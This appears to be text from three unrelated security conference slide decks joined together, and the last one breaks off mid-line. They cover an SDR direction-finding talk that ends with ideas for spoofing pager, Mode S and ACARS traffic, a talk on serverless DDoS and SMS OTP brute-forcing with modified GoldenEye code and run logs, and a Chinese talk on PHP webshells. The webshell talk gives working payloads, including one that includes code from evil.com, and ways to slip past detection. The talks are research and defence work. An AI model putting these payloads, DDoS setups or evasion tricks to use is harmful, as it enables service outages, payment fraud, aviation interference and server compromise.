bit of sample counter is MSB of switch (64 MHz / 256) = 250 ksps 31st and 32nd bits used 250k / 32 = 7.8125 kHz tone For Xlate decim 5 & 1024 FFT bins, tone sits in: ((250 ksps / 5) / 1024) * 7812.5 = 160 exactly Magic of SDR FM (quadrature) demodulation: Multiply current signal sample by complex conjugate of  previous one and find the argument (angle) for (int i = 0; i < noutput_items; i++) { gr_complex product = in[i] * conj(in[i-1]); out[i] = d_gain * arg (product); } Doppler sine wave Frequency plot (FFT) of FM‐demodulated signal Doppler sine wave Pure Doppler sine wave after filtering Reference Measured Find a target Telstra Tower on Council St Known Transmitter Start Drive Direction Measurement Complications • Line‐Of‐Sight – Beware of reflections • Descending into ‘valley’… – Reflections in urban areas – Multiple wavefronts will ‘confuse’ FM detector • Doppler Complications: Coogee Line of sight Listen: Multipath Multiple reflections  confusing FM detector Inch forward until audio ‘clears up’ DC Phase (range) Strength Done Closer to (my new) home Method 2: Super‐resolution algorithms • Simultaneously receive multiple streams – One stream per antenna  antenna array • Apply a mathematical model – Linear (far‐field) wavefront approaching antenna array – Model/calibrate for antenna response • MUSIC: MUltiple SIgnal Classification – Sample signal at each antenna (assuming sinusoids) – Maths (sample correlation matrix, eigenvector  decomposition, orthogonal signal/noise subspaces) – Search through array response to find peak  DOA Wavefront impinging on antenna array Find maximal array response Advantages • Much higher resolution – Assuming model is correct & system is calibrated • Detect & process multiple signals of interest  simultaneously! • However… you need more (coherent) radios. GNU Radio MUSIC DOA block Calibration • Use shared Local Oscillator • Inject shared tone in each channel • Calculate per‐channel phase differences – w. r. t. reference channel • Apply corrections • Periodically re‐calibrate Flowgraph Police Checklist • Car’s rego paper • Amateur Radio licence • Antenna structural redundancy • Dress code • Clean‐shaven • Hide Motorola XTS radios • Avoid turning around and trying to desperately  disconnect antennas Gedanken: TX DO NOT TRY THIS AT… WHEREVER! Gedanken: Pagers • Don’t like a doctor/nurse? – Send them on many a wild goose chase • Is your arch‐nemesis in hospital? – Tell them to remove the other ******** • Need to distract security? – Issue an ‘automated’ alert Gedanken: Mode S • Want to reach cruising altitude a little quicker? – Put a ‘plane’ heading towards you (at a slightly  lower altitude) • Think the pilot made the wrong choice in deciding to  land? – Put a ‘plane’ on the runway • Want to display a message on everyone’s radar  screen? – Spell one using ‘aircraft marker’ art Gedanken: ACARS • Don’t want to fly on a particular aircraft? – Send a severe fault report • Was the flight a little bumpy? – Send an engine performance report to RR with  large vibration values • Need to message the cockpit privately? – Address the message to cockpit printer #1 Gedanken: Satellite • Uplink power is generally kept at the minimum level  to save money • Depends on the weather: – Clear sky: a few W – Heavy rain: a few kW • Turn yours up to (theirs + 1) • “…a malfunctioning UPC system can interfere with  other services and even damage a satellite Travelling  Wave Tube Amplifier…” Remember: be legal and be…. balint@spench.net @spenchdotnet http://wiki.spench.net/wiki/RF http://spench.net/
pdf
Microservices and FaaS for Offensive Security Ryan Baxendale $ whoami Ryan Baxendale Penetration Tester Centurion Information Security Pte Ltd - www.centurioninfosec.sg Singapore twitter.com/ryancancomputer github.com/ryanbaxendale linkedin.com/in/ryanbaxendale AWS Lambda Jan 2015 - AWS Lambda Preview Open to all AWS Customers Upload your code and trigger it to run Scales quickly 1,000,000 code runs for free every month Only supported node.js lambdash: AWS Lambda Shell Hack By Eric Hammond https://github.com/alestic/lambdash Run shell commands using node.js Servers are dead... “Serverless” The stack Source: https://intl.aliyun.com/forum/read-499 Microservices Code Real-time File Processing https://aws.amazon.com/lambda/ Scale https://github.com/airbnb/streamalert StreamAlert is a serverless, realtime data analysis framework which empowers you to ingest, analyze, and alert on data from any environment, using datasources and alerting logic you define. https://github.com/0x4D31/honeyLambda honeyλ - a simple serverless application designed to create and monitor URL {honey}tokens, on top of AWS Lambda and Amazon API Gateway https://github.com/goadapp/goad Goad is an AWS Lambda powered, highly distributed, load testing tool built in Go https://github.com/davbo/lambda-csp-report-uri Simple python application which runs on AWS Lambda and writes CSP reports into S3 for later processing https://github.com/therefromhere/csp_lambda AWS Lambda function to store Content Security Policy reports in ElasticSearch Automate https://github.com/marekq/aws-lambda-firewall Create temporary security groups on your EC2 instances through a simple API call. In addition, audit your security groups easily by the use of automated reports written to S3. https://github.com/ilijamt/lambda_security_grou p_manager Auto managing your AWS security groups with Lambda https://github.com/johnmccuk/cloudflare-ip-security- group-update Lambda function to retrieve Cloudflare's IP address list and update the specified security group AWS WAF Automation https://aws.amazon.com/answers/ security/aws-waf-security- automations/ Parse application logs and trigger WAF rules Honeypot Log parsing (db scraping) Use third party IP reputation lists Hello World from the Serverless cloud Hello Serverless World Hello World on AWS Lambda (1/4) Hello World on AWS Lambda (2/4) Hello World on AWS Lambda (3/4) Hello World on AWS Lambda (4/4) IP address is 13.228.72.124 Hello Serverless World Hello World on Play with Docker $ dig +short -x 34.206.199.2 ec2-34-206-199-2.compute-1.amazonaws.com. +Anonymous (no account) -time limited -captcha Hosted: http://www.play-with-docker.com/ Build your own: https://github.com/alexellis/faas A serverless framework for Docker Cost Simple Hello World function to get current IP http://serverlesscalc.com/ AWS: “1M free requests per month and 400,000 GB-seconds of compute time per month” 128 MB = 3,200,000 free seconds per month Then $0.000000208 per 100ms 300ms - 10 million executions for $1.80 FaaS support by region AWS 1. US East (N. Virginia) 2. US East (Ohio) 3. US West (N. California) 4. US West (Oregon) 5. Canada (Central) 6. EU (Ireland) 7. EU (Frankfurt) 8. EU (London) 9. Asia Pacific (Singapore) 10.Asia Pacific (Sydney) 11. Asia Pacific (Seoul) 12.Asia Pacific (Tokyo) 13. Asia Pacific (Mumbai) 14. South America (São Paulo) Azure 1. East US 2. East US 2 3. West US 4. West US 2 5. South Central US 6. North Central US 7. Central US 8. Canada Central 9. Canada East 10.North Europe 11. West Europe 12.UK West 13. UK South 14. Southeast Asia 15.East Asia 16.Japan West Azure 17. Japan East 18. Brazil South 19. Australia East 20. Australia Southeast 22. Central India 23. South India IBM 1. US South Google 1. IOWA (us-central1) Play with Docker 1. (AWS) Overview Google IBM AWS Azure Regions 1 1 14 23 Language Node.js (Python) Docker Node.js 6 Python 3 Swift 3 Edge Node.js 4.3 Node.js 4.3 Node.js 6.10 Python 2.7 Python 3.6 Bash, Batch C#, F# JavaScript Php, PowerShell Python, TypeScript OS (Python) Linux Debian 8.8 Linux Ubuntu 14.04.1 Linux 4.4.51-40.60.amzn1.x86_64 Windows Server 2012 Network IPv6 IPv4 IPv4 IPv4 Advantages 1. Low cost (“free”) a. Sign up credit 2. Unspecified source IP addresses a. Possibly low attribution 3. Global data centers a. China AWS IBM Bluemix Google Azure Project Thunderstruck Finding use cases for FaaS in offensive security Project Thunderstruck Finding use cases for FaaS in offensive security Explore different cloud service providers Try to get supercomputer resources without paying supercomputer prices DEF CON 25 1. DDoS without Servers 2. SMS OTP Brute Force BSidesLV 2017 1. Searching in IPv6 DDoS without Servers 1: DDoS without Servers Client purchases anti-ddos service Does it work? Will they scrub the attack at 2am? Plan: 1. Find a simple HTTP DDoS tool with code in python 2. Get it working on a cloud service provider 3. Start the worker/code 4. Monitor the target and wait for results /$$$$$$ /$$ /$$ /$$$$$$$$ /$$__ $$ | $$ | $$ | $$_____/ | $$ \__/ /$$$$$$ | $$ /$$$$$$$ /$$$$$$ /$$$$$$$ | $$ /$$ /$$ /$$$$$$ | $$ /$$$$ /$$__ $$| $$ /$$__ $$ /$$__ $$| $$__ $$| $$$$$ | $$ | $$ /$$__ $$ | $$|_ $$| $$ \ $$| $$| $$ | $$| $$$$$$$$| $$ \ $$| $$__/ | $$ | $$| $$$$$$$$ | $$ \ $$| $$ | $$| $$| $$ | $$| $$_____/| $$ | $$| $$ | $$ | $$| $$_____/ | $$$$$$/| $$$$$$/| $$| $$$$$$$| $$$$$$$| $$ | $$| $$$$$$$$| $$$$$$$| $$$$$$$ \______/ \______/ |__/ \_______/ \_______/|__/ |__/|________/ \____ $$ \_______/ /$$ | $$ | $$$$$$/ \______/ GoldenEye - https://github.com/jseidl/GoldenEye Modified slightly to hard code target IP, Host headers, path, and deployed to *undisclosed* cloud service provider Simple script to start the function, wait for it to timeout (60 seconds) Script Kiddie skills Paste goldeneye.py code def error(msg): # print help information and exit: sys.stderr.write(str(msg+"\n")) usage() sys.exit(2) Remove everything from “# Main” / line 567 down goldeneye = GoldenEye("http://128.199.175.83") goldeneye.useragents = ["Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.104 Safari/537.36"] goldeneye.nr_workers = 1 goldeneye.method = METHOD_POST goldeneye.nr_sockets = 1 goldeneye.fire() Test on our server Run the function Tail logs and wait for results The attack Site is still up Something unexpected has occurred... Trigger the code to start Wait for abuse email… Python Modify goldeneye to follow redirects Find in the code (line 336): for conn_resp in self.socks: resp = conn_resp.getresponse() Add the following: if resp.getheader('Location') is not None: next_url = resp.getheader('Location') (url, headers) = self.createPayload() method = random.choice([METHOD_GET, METHOD_POST]) if self.method == METHOD_RAND else self.method conn_resp.request(method.upper(), next_url, None, headers) Update the function Try again... Monitor the target AWS Route 53 Health Checks Checks HTTP service Can look for keywords Monitor the target AWS Route 53 Health Checks Multiple regions/locations The Results ~30 Mbps Code running in 1 region/zone of 1 cloud service provider Good bandwidth available Abuse not detected by the cloud service provider and our account is still active :) Summary Entry requirements: • Anyone who knows how to copy/paste a Python script • Easy - script kiddie with free credit to cloud service providers Access to: • High bandwidth • xx Mbps DDoS infrastructure SMS OTP Brute force 2: SMS OTP Online credit card purchases Access Control Server (ACS): 1. Is this card enrolled in 3-d secure 2. Is auth available 3. Authenticate card holder ACS has to detect brute force of the OTP value ACS is run by or on behalf of an Issuer (bank) https://usa.visa.com/dam/VCOM/download/merchants/verified-by-visa-acquirer-merchant-implementation-guide.pdf Transaction Flow 3-D Secure - Systems and Compliance Testing Policies and Procedures Guide (January 2014) Product’s tested: ACS and MPI “Visa Inc.'s letter of compliance does not under any circumstances include any endorsement or warranty regarding the ... security ... of any particular product or service” “The ACS determines whether the provided password is correct” “Cardholder fails to correctly enter the authentication information within the issuer- defined number of entries (possible indication of fraudulent user).” OTP security left to successful implementation of ACS by third party product or hosted service https://usa.visa.com/dam/VCOM/download/merchants/verified-by-visa-acquirer-merchant-implementation-guide.pdf The Plan Need to guess 6 digit SMS OTP value 10^6 = 1,000,000 possible values Time limited window of 100 seconds Plan: 1. Start a simulated online purchase 2. Load SMS OTP page 3. Capture HTTP request with SMS OTP value 4. Load request into thunderstruck 5. Get correct value and continue session in browser Complete all the steps within 100 seconds Good use case for FaaS? Architecture 1) Store random OTP value 2) Clear OTP guess counter 3) Keep asking for OTP result 5) Guess OTP 6) Check OTP 7) Increment guess counter 4) Trigger workers 8) Report correct OTP 9) Report brute force complete Google App Engine (1/2) First we need a test server that can handle 1,000,000 requests in 60 seconds ~16,667 requests/second 200 instances to handle the requests Google App Engine (2/2) Memcache backend: • Check if OTP guess is correct • Track OTP guesses $ gcloud app deploy Function $ cat ./trigger_worker_aws.py # setup test server “https://otp.appspot.com/?setotp=” + random(...) start_time = datetime(...) def wait_for_result(...) while Elasticsearch(...).get(...) time.sleep(1) print(“OTP is 123456 \o/”) # invoke Lambda function multiprocessing.Pool(...) boto3.client('lambda').invoke(...) wait_for_result(...) print(“time taken:” + datetime(...) - start_time ) $ cat ./worker.py *Python multiprocessing Pool and Queue won't work on AWS Lambda* def lambda_handler(...) def brute_otp(...) multiprocessing.Process(brute_otp_r un, ...) def brute_otp_run(...) response = requests.get(url+otp) if success_match in response: add_result_to_es(response) if done_match in response: add_job_to_es(response) def add_result_to_es(...) def add_job_to_es(...) Testing https://smsotp.appspot.com/?setotp=013370 Stored OTP: 013370 Enter the OTP in the parameter 'otp' otp guessed: 0/1000000 https://smsotp.appspot.com/?otp=123456 Stored OTP: 013370 OTP is wrong, try again otp guessed: 1/1000000 https://smsotp.appspot.com/?otp=013370 Stored OTP: 013370 Success the correct OTP is: 013370 otp guessed: 2/1000000 Now we have a working test server to simulate the brute force attack within 100 seconds Brute-force 4 digits - 100 workers (100/worker) ======[OTP LENGTH 4]=========== setting random OTP value of length: 4 - OTP value is: 8763 server is ready, starting brute force of OTP Need to spawn 100.0 workers to guess otp [0-9] of length 4 with 100 otp per worker 32 processes to start 7.14285714286 workers for each of the 14 regions continue? 2017-07-09 16:28:29.478689 - starting brute_otp Started job id: 91ada05a-eea6-4eb6-b79b-78fe8a347ee1 2017-07-09 16:28:29.480830 - starting workers 2017-07-09 16:28:29.484356 - waiting for answer in elasticsearch 2017-07-09 16:28:31.547423 - done starting workers finished starting workers in 0:00:02.066530 2017-07-09 16:28:41.808053 - got answer from elasticsearch {u'otp_value': u'8763'} found OTP in 0:00:12.329502 2017-07-09 16:28:41.811278 - waiting for job to complete 2017-07-09 16:28:56.023307 - job completed brute_otp finished in 0:00:26.544594 Try all values in 26 seconds Brute-force 4 digits - 200 workers (50/worker) ======[OTP LENGTH 4]=========== setting random OTP value of length: 4 - OTP value is: 2577 server is ready, starting brute force of OTP Need to spawn 200.0 workers to guess otp [0-9] of length 4 with 50 otp per worker 32 processes to start 14.2857142857 workers for each of the 14 regions continue? 2017-07-09 16:27:42.543748 - starting brute_otp Started job id: 0bd95391-641b-4c28-b618-634bda7941e5 2017-07-09 16:27:42.546869 - starting workers 2017-07-09 16:27:42.550619 - waiting for answer in elasticsearch 2017-07-09 16:27:44.694512 - done starting workers finished starting workers in 0:00:02.147645 2017-07-09 16:27:53.474901 - got answer from elasticsearch {u'otp_value': u'2577'} found OTP in 0:00:10.931181 2017-07-09 16:27:53.478134 - waiting for job to complete 2017-07-09 16:27:54.327960 - job completed brute_otp finished in 0:00:11.784056 Try all values in 11 seconds Brute-force 4 digits - 400 workers (25/worker) ======[OTP LENGTH 4]=========== setting random OTP value of length: 4 - OTP value is: 2167 server is ready, starting brute force of OTP Need to spawn 400.0 workers to guess otp [0-9] of length 4 with 25 otp per worker 32 processes to start 28.5714285714 workers for each of the 14 regions continue? 2017-07-09 16:26:58.884780 - starting brute_otp Started job id: 685b617a-9986-4f6f-bd1a-4f563f545b58 2017-07-09 16:26:58.888718 - starting workers 2017-07-09 16:26:58.892609 - waiting for answer in elasticsearch 2017-07-09 16:27:01.999699 - done starting workers finished starting workers in 0:00:03.111037 2017-07-09 16:27:04.825824 - got answer from elasticsearch {u'otp_value': u'2167'} found OTP in 0:00:05.941202 2017-07-09 16:27:04.829593 - waiting for job to complete 2017-07-09 16:27:06.544043 - job completed brute_otp finished in 0:00:07.659145 Try all values in 7 seconds Brute-force 5 digits - 1,000 workers (100/worker) ======[OTP LENGTH 5]=========== setting random OTP value of length: 5 - OTP value is: 92827 server is ready, starting brute force of OTP Need to spawn 1000.0 workers to guess otp [0-9] of length 5 with 100 otp per worker 32 processes to start 71.4285714286 workers for each of the 14 regions continue? 2017-07-09 16:22:49.462012 - starting brute_otp Started job id: 8fc3d024-ba49-4ecb-ada0-5660935a87bf 2017-07-09 16:22:49.468667 - starting workers 2017-07-09 16:22:49.470290 - waiting for answer in elasticsearch 2017-07-09 16:22:55.765072 - done starting workers finished starting workers in 0:00:06.296480 2017-07-09 16:23:10.736533 - got answer from elasticsearch {u'otp_value': u'92827'} found OTP in 0:00:21.274614 2017-07-09 16:23:10.739454 - waiting for job to complete 2017-07-09 16:24:30.031556 - job completed brute_otp finished in 0:01:40.569551 Try all values in 100 seconds Brute-force 5 digits - 2,000 workers (50/worker) ======[OTP LENGTH 5]=========== setting random OTP value of length: 5 - OTP value is: 15202 server is ready, starting brute force of OTP Need to spawn 2000.0 workers to guess otp [0-9] of length 5 with 50 otp per worker 32 processes to start 142.857142857 workers for each of the 14 regions continue? 2017-07-09 16:15:41.324104 - starting brute_otp Started job id: be84d27a-bd77-4dde-95a1-802dde9796fa 2017-07-09 16:15:41.336814 - starting workers 2017-07-09 16:15:41.339787 - waiting for answer in elasticsearch 2017-07-09 16:15:47.890910 - got answer from elasticsearch {u'otp_value': u'15202'} found OTP in 0:00:06.567002 2017-07-09 16:15:51.180059 - done starting workers finished starting workers in 0:00:09.843286 2017-07-09 16:15:51.180274 - waiting for job to complete 2017-07-09 16:16:53.400075 - job completed brute_otp finished in 0:01:12.075939 Try all values in 72 seconds Brute-force 5 digits - 4,000 workers (25/worker) ======[OTP LENGTH 5]=========== setting random OTP value of length: 5 - OTP value is: 36033 server is ready, starting brute force of OTP Need to spawn 4000.0 workers to guess otp [0-9] of length 5 with 25 otp per worker 32 processes to start 285.714285714 workers for each of the 14 regions continue? 2017-07-09 16:14:25.121882 - starting brute_otp Started job id: 8c903f9d-8036-41a2-b9f8-8444b9e2523d 2017-07-09 16:14:25.131402 - starting workers 2017-07-09 16:14:25.133104 - waiting for answer in elasticsearch 2017-07-09 16:14:36.006256 - got answer from elasticsearch {u'otp_value': u'36033'} found OTP in 0:00:10.884596 2017-07-09 16:14:43.876436 - done starting workers finished starting workers in 0:00:18.745044 2017-07-09 16:14:43.876572 - waiting for job to complete 2017-07-09 16:14:49.328035 - job completed brute_otp finished in 0:00:24.206181 Try all values in 24 seconds Brute-force 6 digits - 10,000 workers (100/worker) ======[OTP LENGTH 6]=========== setting random OTP value of length: 6 - OTP value is: 132103 server is ready, starting brute force of OTP Need to spawn 10000.0 workers to guess otp [0-9] of length 6 with 100 otp per worker 32 processes to start 714.285714286 workers for each of the 14 regions continue? 2017-07-09 16:29:46.701166 - starting brute_otp Started job id: 70961810-964d-4b62-8c34-8b4dbd9e3e0b 2017-07-09 16:29:46.732705 - starting workers 2017-07-09 16:29:46.735767 - waiting for answer in elasticsearch 2017-07-09 16:30:17.796209 - got answer from elasticsearch {u'otp_value': u'132103'} found OTP in 0:00:31.097981 2017-07-09 16:30:33.161660 - done starting workers finished starting workers in 0:00:46.429033 2017-07-09 16:30:33.161845 - waiting for job to complete 2017-07-09 16:33:30.035312 - job completed brute_otp finished in 0:03:43.334052 ~500k attempts in first 60 seconds Brute-force 6 digits - 10,000 workers (100/worker) ======[OTP LENGTH 6]=========== setting random OTP value of length: 6 - OTP value is: 365313 server is ready, starting brute force of OTP Need to spawn 10000.0 workers to guess otp [0-9] of length 6 with 100 otp per worker 32 processes to start 714.285714286 workers for each of the 14 regions continue? 2017-07-09 16:59:26.960930 - starting brute_otp Started job id: 48b6c6d6-23c5-46c9-82b5-171605d9e4b7 2017-07-09 16:59:26.980960 - starting workers 2017-07-09 16:59:26.983994 - waiting for answer in elasticsearch 2017-07-09 17:00:08.949795 - got answer from elasticsearch {u'otp_value': u'365313'} found OTP in 0:00:41.989282 2017-07-09 17:00:20.354010 - done starting workers finished starting workers in 0:00:53.373069 2017-07-09 17:00:20.354184 - waiting for job to complete 2017-07-09 17:04:14.738054 - job completed brute_otp finished in 0:04:47.777224 41 seconds Brute-force 6 digits - 20,000 workers (50/worker) ======[OTP LENGTH 6]=========== setting random OTP value of length: 6 - OTP value is: 848028 server is ready, starting brute force of OTP Need to spawn 20000.0 workers to guess otp [0-9] of length 6 with 50 otp per worker 32 processes to start 1666.66666667 workers for each of the 12 regions continue? 2017-07-09 17:31:04.042149 - starting brute_otp Started job id: 3ada0c03-2098-4bb7-81a6-59fc23aa13e4 2017-07-09 17:31:04.105770 - starting workers 2017-07-09 17:31:04.115192 - waiting for answer in elasticsearch 2017-07-09 17:32:20.495622 - got answer from elasticsearch {u'otp_value': u'848028'} found OTP in 0:01:16.453610 2017-07-09 17:32:41.689405 - done starting workers finished starting workers in 0:01:37.583704 2017-07-09 17:32:41.689607 - waiting for job to complete 2017-07-09 17:33:05.983280 - job completed brute_otp finished in 0:02:01.941091 12 regions Geographically closer to test server 76 seconds Brute-force 6 digits - 40,000 workers (25/worker) ======[OTP LENGTH 6]=========== setting random OTP value of length: 6 - OTP value is: 636555 server is ready, starting brute force of OTP Need to spawn 40000.0 workers to guess otp [0-9] of length 6 with 25 otp per worker 32 processes to start 2857.14285714 workers for each of the 14 regions continue? 2017-07-09 17:35:32.440217 - starting brute_otp Started job id: ba9211e5-9f30-4d36-8182-8c1a1638ef6b 2017-07-09 17:35:32.512530 - starting workers 2017-07-09 17:35:32.520186 - waiting for answer in elasticsearch 2017-07-09 17:36:40.556626 - got answer from elasticsearch {u'otp_value': u'636555'} found OTP in 0:01:08.116940 2017-07-09 17:38:58.294490 - done starting workers finished starting workers in 0:03:25.782006 2017-07-09 17:38:58.294680 - waiting for job to complete 2017-07-09 17:39:40.461517 - job completed brute_otp finished in 0:04:08.021226 68 seconds Brute-force 6 digits - 20,000 workers (50/worker) ======[OTP LENGTH 6]=========== setting random OTP value of length: 6 - OTP value is: 080514 server is ready, starting brute force of OTP Need to spawn 20000.0 workers to guess otp [0-9] of length 6 with 50 otp per worker 32 processes to start 4000.0 workers for each of the 5 regions continue? 2017-07-09 17:43:03.199781 - starting brute_otp Started job id: 7c632fe4-b75c-4727-939b-bbf0c44acf6b 2017-07-09 17:43:03.250565 - starting workers 2017-07-09 17:43:03.260273 - waiting for answer in elasticsearch 2017-07-09 17:44:40.776670 - done starting workers finished starting workers in 0:01:37.526133 2017-07-09 17:44:44.977822 - got answer from elasticsearch {u'otp_value': u'080514'} found OTP in 0:01:41.778138 2017-07-09 17:44:44.985564 - waiting for job to complete 2017-07-09 17:45:21.050496 - job completed brute_otp finished in 0:02:17.850548 5 regions (same geo area) Some requests dropped by overloaded test server :( 101 seconds Brute-force 6 digits - 40,000 workers (25/worker) ======[OTP LENGTH 6]=========== setting random OTP value of length: 6 - OTP value is: 661226 server is ready, starting brute force of OTP 32 processes to start 7.14285714286 workers for each of the 14 regions will trigger 40000 instances of lambda continue? 2017-07-28 18:18:41.181215 - starting brute_otp Started job id: b6c5032a-0263-4421-8c27-67965b295737 2017-07-28 18:18:41.193053 - starting workers 2017-07-28 18:18:41.194950 - waiting for answer in elasticsearch 2017-07-28 18:18:49.840706 - done starting workers finished starting workers in 8.647686 2017-07-28 18:19:10.796215 - got answer from elasticsearch {u'otp_value': u'661226'} found OTP in 29.615085 2017-07-28 18:19:10.799785 - waiting for job to complete 29 seconds Demo 6 digit OTP Test server: Google App Engine (Python) with 200 instances of type B1 Possible to guess OTP based on ~500k attempts in 60 seconds Requirements: The ability to keep guessing (no account lockout) Server that can handle 10k requests per second (~16.6k in theory) Best if attack comes from same geographic region Need a bit of luck Summary Code: https://github.com/ryanbaxendale/thunderstruck- demo/tree/master/sms.otp Verified by Visa Acquirer and Merchant Implementation Guide Chapter 6: Merchant Server Plug-In Functions: “The Payer Authentication Request/Response message pair has a recommended timeout value of 5 minutes, recognizing that cardholders may become distracted while completing the authentication.” Going further 8 digit SMS OTP 3 minutes (180 seconds) Need a more scalable test server Other attacks: Unauth password reset URLs Account signup/registration Further work Interesting talks 33c3 2016 Gone in 60 Milliseconds Intrusion and Exfiltration in Server-less Architectures Rich Jones Blackhat US 2016 Account Jumping Post Infection Persistency & Lateral Movement In AWS Dan Amiga & Dor Knafo BSidesLV 2017 YARA-as-a-Service (YaaS): Real-Time Serverless Malware Detection https://github.com/airbnb/binaryalert Austin Byers Blackhat US 2017 Hacking Serverless Runtimes: Profiling AWS Lambda Azure Functions and more Andrew Krug & Graham Jones DEF CON 25 Starting the Avalanche: Application DoS In Microservice Architectures Scott Behrens, Jeremy Heffner Going further AWS Lambda - High mem: 1536 MB 266,667/seconds/month free Aliyun / Alibaba Cloud - China Need to register with +86 mobile number IBM OpenWhisk Docker Build your own FaaS infrastructure https://github.com/alexellis/faas UI portal Setup with one script Any process that can run in Docker can be a serverless function Prometheus metrics and logging Auto-scales as demand increases github.com/ryanbaxendale/thunderstruck-demo
pdf
PHPCHIP.COM PHP动态特性的捕捉与逃逸 Phith0n 2019 About Me phith0n • https://www.leavesongs.com • http://weibo.com/101yx • https://github.com/phith0n 长亭科技 • https://github.com/chaitin/xray 精通 • PHP • Python • Golang • Javascript 等语言Hello World程序的拼写 目录 CONTENTS PART 01 PHP与动态特性 01 PART 02 如何检测PHP动态特性 02 PART 03 从攻击者的角度突破限制 03 • PHP与动态特性 • 常见PHP Webshell的类型 • 我们来做一个“代码哲学家” PART 01 PHP与动态特性 PHP与Web应用 PHP是世界上最好的语言 PHP是Web应用最广泛的语言 • 灵活 • 发展迅速 • 逐渐废弃不安全的特性 其灵活的特性往往成为Webshell、漏洞的导火索 常见PHP Webshell的类型 • 直接型: • eval($_POST[2333]); • assert($_POST[2333]); • 回调型 • array_map('assert', $_POST); • usort($_POST[1], $_POST[2]); • 包含型 • include $_FILES['2333']['tmp_name']; • require 'http://evil.com/1.txt'; • 变形型: • eval(gzdeflate(base64_decode('...'))); • $_=[];$_++;$_++;...;$_($__); • 命令型: • `$_POST[2333]`; • system($_POST[2333]); • 技巧型: • create_function('', $_POST[2333]); • preg_replace('/.*/e', $_POST['n'], $_POST[2333]); 让我们从另一个角度理解PHP 一段固定的代码,其功能究竟能否确定? preg_replace('/a/i', 'b', $_POST['name']); eval("\$ret = $arr;"); $arr = [$_GET, $_POST, $_COOKIE]; array_map($callback, ...$arr); include './inc/' . $filename; foreach (dir('./') as $f) { echo $f->read(); } echo "hello world"; 我们来做一个 代码哲学家 preg_replace('/a/i', 'b', $_POST['name']); eval("\$ret = $arr;"); $arr = [$_GET, $_POST, $_COOKIE]; array_map($callback, ...$arr); include './inc/' . $filename; foreach (dir('./') as $f) { echo $f->read(); } echo "hello world"; 我们来做一个 代码哲学家 这是一段不确定功能的代码…… $arr = [$_GET, $_POST, $_COOKIE]; array_map($callback, ...$arr); 思考:开发者的本意是什么? array_map('htmlspecialchars', ...$arr); 随着$callback的改变,这段代码的功能可能变成什么? array_map('assert', ...$arr); 我们来做一个 代码哲学家 一段代码,其中变量值的改变可能导致这 段代码发生功能上的变化,我将这种现 象成为 PHP的动态特性 • CHIP是什么 • CHIP是如何工作的 • 回调后门如何检测 PART 02 如何检测PHP动态特性 CHIP – PHP动态特性检测实现 主页: https://phpchip.com 优势: 1. 全面:覆盖99.9%动态特性 2. 简单:支持命令行与代码调用,可使用composer安装 3. 可扩展:支持自定义规则 CHIP工作流程 Parser Walker Analyze Ast Tree Visitor CHIP是如何工作的 è Parser PHP-Parser: https://github.com/nikic/PHP-Parser 支持PHP5.2~ 7.4所有语法结构 PHP-Parser能解决的最大问题 Parser的结果是许多AST Tree 遍历这些树上的所有Node 思考:是否还有其他值得注意的语法结构? 我们需要关注的Node有哪些? • Eval_ 代码执行 • FuncCall 函数调用 • New_、MethodCall、StaticCall 类创建与方法调用 • Include_ 文件包含 CHIP是如何工作的 è Walker 常见动态特性逐一分析 • 直接型 • 回调型 • 包含型 难点:回调型后门的检测 • 变形型 • 命令型 • 技巧型 CHIP是如何工作的 è Analyze 回调后门的检测 回调后门介绍:https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html PHP里究竟有哪些函数支持传入回调参数? 1. 下载PHP文档 2. 遍历函数原型,寻找类型关键字 Callable 3. 确定回调参数的位置 思考:获取列表的时候要注意什么? 回调后门的检测 思考:获取列表的时候要注意什么? 1. 不确定参数数量的函数 • 使用负数表示倒数位置 2. 某些函数包含隐式的回调参数,需要特殊处理 • filter_var / filter_var_array 3. PHP版本不同导致参数类型不同的情况 • 一个最简单地判断后门的步骤 • 对抗——七种绕过方法 PART 03 从攻击者的角度突破限制 一个最简单的判断回调后门的步骤 遍历AST Tree 是否调用包含回调 参数的函数 回调参数是否使用匿 名函数的方式定义 可能存在动态特性 安全 FuncCall Node 否 是 攻击者的小试牛刀 è 判断回调后门的步骤: 1. 遍历AST Tree 2. 分析FuncCall Node,判断是否调用了含有回调参数的函数 3. 判断回调参数是否是一个变量 思考:以上步骤如何突破? 知识点:PHP是一个大小写不敏感的语言 入门级:利用大小写可以绕过对函数名的判断 UsORt($_POST[1], $_POST[2]); 攻击者的小试牛刀 è 函数名大小写 绕过1、利用函数名大小写,绕过对敏感函数名的检测 经验 >从攻击者的角度突破限制: 1. 从函数名位置入手 思考:敏感函数名列表从哪里获取? 绕过马其顿防线 è 有些函数没有明确标示在文档中,但在PHP内核中的确存在? 在PHP内核中寻找不在文档中的“特殊 函数”——函数别名(PHP_FALIAS) 绕过马其顿防线 è 利用内置函数别名绕过限制 绕过2、利用未在文档中列出的内部函数绕过函数名检测 • mb_ereg_replace ⇒ mbereg_replace • mb_ereg_ireplace ⇒ mbereg_ireplace PHP7.3 以下均可利用: <?php mbereg_replace('.*', '\0', $_REQUEST[2333], 'e'); 剑走偏锋 è 经验 >从攻击者的角度突破限制: 1. 从函数名位置入手 思考:还有哪些从函数名位置可以突破的方法? 知识点:PHP5.6后开始支持函数别名 • PHP本身不支持函数重写与HOOK • PHP5.3引入命名空间机制,支持类别名 • PHP5.6开始支持函数别名 剑走偏锋 è 利用函数别名绕过限制 绕过3、利用函数别名机制,重命名黑名单函数 PHP5.6开始可以利用: <?php use function \assert as test; test($_POST[2333]); 解决方法: • 监控AS语法,还原所有类、函数别名的真实名字,再进行判断 思考:是否有其他方式可以修改函数或类名? 如何举一反三 è “别名”本质上是一个拷贝,他拥有原来东西的所有功能 经验 >从攻击者的角度突破限制: 1. 从函数名位置入手 2. 从类名位置入手 知识点:类的继承,实质上也可以看做一种“别名” 如何举一反三 è 利用类继承突破限制 绕过4、利用类的继承绕过类名黑名单限制 PHP通用绕过: <?php class test extends ReflectionFunction {} $f = new test('system'); $f->invoke($_POST[2333]); 引擎认为创建的是test类,实际创建的是ReflectionFunction类 如何举一反三 è 利用类继承突破限制 绕过4、利用类的继承绕过类名黑名单限制 利用PHP7支持的匿名类,升级Webshell: <?php $f = new class('system') extends ReflectionFunction {}; $f->invoke($_POST[2333]); 如何举一反三 è 利用类继承突破限制 绕过4、利用类的继承绕过类名黑名单限制 利用PHP7支持的匿名类,升级Webshell: <?php $f = nEW ClaSs($_POST[666]) eXTeNDs 